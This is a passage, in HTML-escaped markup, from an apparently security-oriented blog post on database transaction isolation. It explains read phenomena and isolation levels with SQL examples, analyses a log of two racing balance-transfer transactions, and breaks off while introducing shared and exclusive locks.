&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;age&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;users&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;-- age = 21&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;phantom-reads&quot;&gt;Phantom Reads&lt;/h4&gt;

&lt;p&gt;Phantom reads allow sequential &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SELECT&lt;/code&gt; operations on a set of entries to return different results due to modifications done by concurrent transactions.&lt;/p&gt;

&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;-- tx1&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;BEGIN&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;users&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;age&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;17&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;-- returns [Alice, Bob]&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;-- tx2&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;BEGIN&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;INSERT&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;INTO&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;users&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;VALUES&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'Eve'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;26&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;COMMIT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;-- tx1&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;users&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;age&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;17&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;-- returns [Alice, Bob, Eve]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In addition the phenomena defined in the standard, behaviors such as “Read Skews”, “Write Skews” and “Lost Updates” can be observed in the real world.&lt;/p&gt;

&lt;h4 id=&quot;lost-updates&quot;&gt;Lost Updates&lt;/h4&gt;

&lt;p&gt;Lost updates occur when concurrent transactions perform an update on the same entry.&lt;/p&gt;

&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;-- tx1&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;BEGIN&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;users&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;-- tx2&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;BEGIN&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;users&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;UPDATE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;users&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;SET&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'alice'&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;COMMIT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;-- name set to 'alice'&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;-- tx1&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;UPDATE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;users&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;SET&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'bob'&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;COMMIT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;-- name set to 'bob'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This execution flow results in the change performed by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tx2&lt;/code&gt; to be overwritten by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tx1&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Read and write skews usually arise when the operations are performed on two or more entries that have a foreign-key relationship. The examples below assume that the database contains two tables: a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;users&lt;/code&gt; table which stores information about a particular user, and a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;change_log&lt;/code&gt; table which stores information about the user who performed the latest change of the target user’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;name&lt;/code&gt; column:&lt;/p&gt;

&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;CREATE&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;TABLE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;users&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;INT&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;PRIMARY&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;KEY&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;NOT&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; 
  &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;TEXT&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;NOT&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;NULL&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;CREATE&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;TABLE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;change_log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;INT&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;PRIMARY&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;KEY&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;NOT&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; 
  &lt;span class=&quot;n&quot;&gt;updated_by&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;VARCHAR&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;NOT&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; 
  &lt;span class=&quot;n&quot;&gt;user_id&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;INT&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;NOT&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;CONSTRAINT&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;user_fk&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FOREIGN&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;KEY&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;user_id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;REFERENCES&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;users&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;read-skews&quot;&gt;Read Skews&lt;/h4&gt;

&lt;p&gt;If we assume that we have the following sequence of execution:&lt;/p&gt;

&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;-- tx1&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;BEGIN&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;users&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;-- returns 'old_name'&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;-- tx2&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;BEGIN&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;UPDATE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;users&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;SET&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'new_name'&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;UPDATE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;change_logs&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;SET&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;updated_by&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'Bob'&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;user_id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;COMMIT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;-- tx1&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;change_logs&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;user_id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;-- return Bob&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;the view of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tx1&lt;/code&gt; transaction is that the user &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Bob&lt;/code&gt; performed tha last change on the user with ID: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1&lt;/code&gt;, setting their name to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;old_name&lt;/code&gt;.&lt;/p&gt;

&lt;h4 id=&quot;write-skews&quot;&gt;Write Skews&lt;/h4&gt;

&lt;p&gt;In the sequence of operations shown below, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tx1&lt;/code&gt; will perform its update under the assumption that the user’s name is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Alice&lt;/code&gt; and there were no prior changes on the name.&lt;/p&gt;

&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;-- tx1&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;BEGIN&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;users&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;-- returns Alice&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;change_logs&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;user_id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;-- returns an empty set&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;-- tx2&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;BEGIN&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;users&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; 
&lt;span class=&quot;k&quot;&gt;UPDATE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;users&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;SET&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'Bob'&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;-- new name set&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;COMMIT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;-- tx1&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;UPDATE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;users&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;SET&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'Eve'&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;-- new name set&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;COMMIT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;However, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tx2&lt;/code&gt; performed its changes before &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tx1&lt;/code&gt; was able to complete. This results in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tx1&lt;/code&gt; performing an update based on state which was changed during its execution.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;Isolation levels are designed to guard against zero or more of these read phenomena. Let’s look at the them is more detail.&lt;/p&gt;

&lt;h3 id=&quot;read-uncommitted&quot;&gt;Read Uncommitted&lt;/h3&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Read Uncommitted&lt;/code&gt; (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RU&lt;/code&gt;) is the lowest isolation level provided. At this level, all phenomena discussed above can be observed, including reading uncommitted data, as the name suggests. While transactions using this isolation level can result in higher throughput in highly concurrent environments, it does mean that concurrent transactions will likely operate with inconsistent data. From a security standpoint, this is not a desirable property of any business-critical operation.&lt;/p&gt;

&lt;p&gt;Thankfully, this it not a default in any database engine, and needs to be explicitly set by developers when a creating a new transaction.&lt;/p&gt;

&lt;h3 id=&quot;read-committed&quot;&gt;Read Committed&lt;/h3&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Read Committed&lt;/code&gt; (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RC&lt;/code&gt;) builds on top of the previous level’s guarantee and completely prevents &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dirty&lt;/code&gt; reads. However, it does allow other transactions to modify, insert, or delete data between individual operations of the running transaction, which can result in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;non-repeatable&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;phantom&lt;/code&gt; reads.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Read Committed&lt;/code&gt; is the default isolation level in most database engines. &lt;a href=&quot;https://dev.mysql.com/doc/refman/8.0/en/set-transaction.html#:~:text=The%20default%20isolation%20level%20is,isolation%20levels%2C%20see%20Section%2015.7.&quot;&gt;MySQL&lt;/a&gt; is an outlier here.&lt;/p&gt;

&lt;h3 id=&quot;repeatable-read&quot;&gt;Repeatable Read&lt;/h3&gt;

&lt;p&gt;In similar fashion, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Repeatable Read&lt;/code&gt; (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RR&lt;/code&gt;) improves the previous isolation level, while adding a guarantee that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;non-repeatable&lt;/code&gt; reads will also be prevented. The transaction will view only data which was committed at the start of the transactions. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Phantom&lt;/code&gt; reads can still be observed at this level.&lt;/p&gt;

&lt;h3 id=&quot;serializable&quot;&gt;Serializable&lt;/h3&gt;

&lt;p&gt;Finally, we have the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Serializable&lt;/code&gt; (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;S&lt;/code&gt;) isolation level. The highest level is designed to prevent all read phenomena. The result of concurrently executing multiple transactions with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Serializable&lt;/code&gt; isolation will be equivalent to them being executed in serial order.&lt;/p&gt;

&lt;h2 id=&quot;data-races-and-race-conditions&quot;&gt;Data Races and Race Conditions&lt;/h2&gt;

&lt;p&gt;Now that we have that covered, let’s circle back to the original example. If we assume that the example was using Postgres and we’re not explicitly setting the isolation level, we’ll be using the Postgres default: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Read Committed&lt;/code&gt;. This setting will protect us from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dirty&lt;/code&gt; reads, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;phantom&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;non-repeatable&lt;/code&gt; reads are not a concern, since we’re not performing multiple reads within the transaction.&lt;/p&gt;

&lt;p&gt;The main reason why our example is vulnerable boils down to concurrent transaction execution and insufficient concurrency control. We can enable database logging to easily see what is being executed on the database level when our example application is being exploited.&lt;/p&gt;

&lt;p&gt;Pulling the logs for our example, we can see something similar to:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; 1. [TX1] LOG:  BEGIN ISOLATION LEVEL READ COMMITTED
 2. [TX2] LOG:  BEGIN ISOLATION LEVEL READ COMMITTED
 3. [TX1] LOG:  SELECT id, name, balance FROM users WHERE id = 2
 4. [TX2] LOG:  SELECT id, name, balance FROM users WHERE id = 2
 5. [TX1] LOG:  UPDATE users SET balance = balance - 50 WHERE id = 2
 6. [TX2] LOG:  UPDATE users SET balance = balance - 50 WHERE id = 2
 7. [TX1] LOG:  UPDATE users SET balance = balance + 50 WHERE id = 1
 8. [TX1] LOG:  COMMIT
 9. [TX2] LOG:  UPDATE users SET balance = balance + 50 WHERE id = 1
10. [TX2] LOG:  COMMIT
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;What we initially notice is that the individual operations of a single transaction are not executed as a single unit. Their individual operations are interweaved, contradicting how the initial transaction definition described them (i.e., a single unit of execution). This interweaving occurs as a result of transactions being executed concurrently.&lt;/p&gt;

&lt;h3 id=&quot;concurrent-transaction-execution&quot;&gt;Concurrent Transaction Execution&lt;/h3&gt;

&lt;p&gt;Databases are designed to execute their incoming workload concurrently. This results in an increased throughput and ultimately a more performant system. While implementation details can vary between different database vendors, at a high level concurrent execution is implemented using “workers”. Databases define a set of workers whose job is to execute all transactions assigned to them by a component usually named “scheduler”. The workers are independent of each other and can be conceptually thought of as application threads. Like application threads, they are subject to context switching, meaning that they can be interrupted mid-execution, allowing other workers to perform their work. As a result we can end up having partial transaction execution, resulting in the interweaved operations we saw in the log output above. As with multithreaded application code, without proper concurrency control, we run the risk of encountering data races and race conditions.&lt;/p&gt;

&lt;p&gt;Going back to the database logs, we can also see that both transactions are trying to perform an update on the same entry, one after the other (lines &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;#5&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;#6&lt;/code&gt;). Such concurrent modification will be prevented by the database by setting a lock on the modified entry, protecting the change until the transaction that made the change completes or fails. Databases vendors are free to implement any number of different &lt;a href=&quot;https://www.postgresql.org/docs/current/explicit-locking.html&quot;&gt;lock types&lt;/a&gt;, but most of them can be simplified to two types: shared and exclusive locks.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Shared&lt;/strong&gt; (or read) locks are acquired on table entries read from the database. They are not mutually exclusive, meaning multiple transactions can hold a shared lock on the same entry.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Exclusive&lt;/strong&gt; (or write) locks, as the name suggests are exclusive. Acquired when a write/update operation is performed, only one lock of this type can be active per table entry. This helps prevent concurrent changes on the same entry.&lt;/p&gt;

&lt;p&gt;Database vendors provide a simple way to query active locks at any time of the transactions execution, given you can pause it or are executing it manually. In Postgres for example, the following query will show the active locks:&lt;/p&gt;
